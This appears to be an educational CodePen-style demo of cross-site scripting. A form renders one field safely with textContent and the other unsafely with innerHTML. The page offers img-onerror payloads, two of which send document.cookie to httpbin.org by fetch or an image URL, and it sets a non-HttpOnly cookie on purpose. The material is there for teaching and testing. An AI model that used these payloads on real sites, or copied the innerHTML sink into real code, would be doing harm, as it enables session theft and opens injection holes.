XSS Example

by nickxbs

HTML

<div id="editMode">
    <p>
      Copy/paste one of the example scripts into the first name or last name fields. Click 'save' to see the result.
    </p>
    <h1>Edit your details</h1>
    <p>
      <label>First Name (safe):</label>
      <input id="firstNameInput" name="first-name">
    </p>
    
    <p>
      <label>Last Name (unsafe):</label>
      <input id="lastNameInput" name="first-name">
    </p>
    
    <p>To test if HTML is inserted in the page with innerHTML:</p>
    <p>
      <textarea readonly onclick=this.select()><img src=x onerror="alert('tsk tsk')"></textarea>
    </p>
    
    <p>To test you can send data out, try this and check the network panel:</p>
    <p>
      <textarea readonly onclick=this.select()><img src=x onerror="fetch('//httpbin.org/post', {method: 'POST', body: document.cookie});alert('tsk tsk')"></textarea>
    </p>
    <p>
      <textarea readonly onclick=this.select()><img src=x onerror="if (!window.stopit) this.src = '//httpbin.org/image/png?c=' + document.cookie; stopit = true"></textarea>
    </p>
    <br>
    <button id="saveButton">Save</button>
  </div>
  
  <div id="displayMode" class="hide">
    <h1>Your details</h1>
    <p><strong>First name (safe): </strong><span id="firstNameDisplay"></span></p>
    <p><strong>Last name (unsafe): </strong><span id="lastNameDisplay"></span></p>
    <button id="editButton">Edit</button>
  </div>

CSS

* {
  box-sizing: border-box;
  font-family: Arial, Helvetica, sans-serif;
  color: #222;
}

.hide {
  display: none;
}

input {
  width: 100%;
  padding: 4px;
  margin-bottom: 5px;
}

textarea {
  width: 100%;
  height: 60px;
  font-family: monospace;
  font-size: 110%;
}

textarea[readonly] {
  background: transparent;
  border: 1px solid #ddd;
}

button {
  padding: 6px 16px;
}

JavaScript

const ids = document.querySelectorAll('[id]');
const els = {};

for (let i = 0; i < ids.length; i++) {
  els[ids[i].id] = ids[i];
}

document.cookie = 'secretCookie=but not HttpOnly!';

els.editButton.onclick = () => {
  els.editMode.classList.remove('hide');
  els.displayMode.classList.add('hide');
}

els.saveButton.onclick = () => {
  els.firstNameDisplay.textContent = els.firstNameInput.value;
  els.lastNameDisplay.innerHTML = els.lastNameInput.value;
  
  els.displayMode.classList.remove('hide');
  els.editMode.classList.add('hide');
}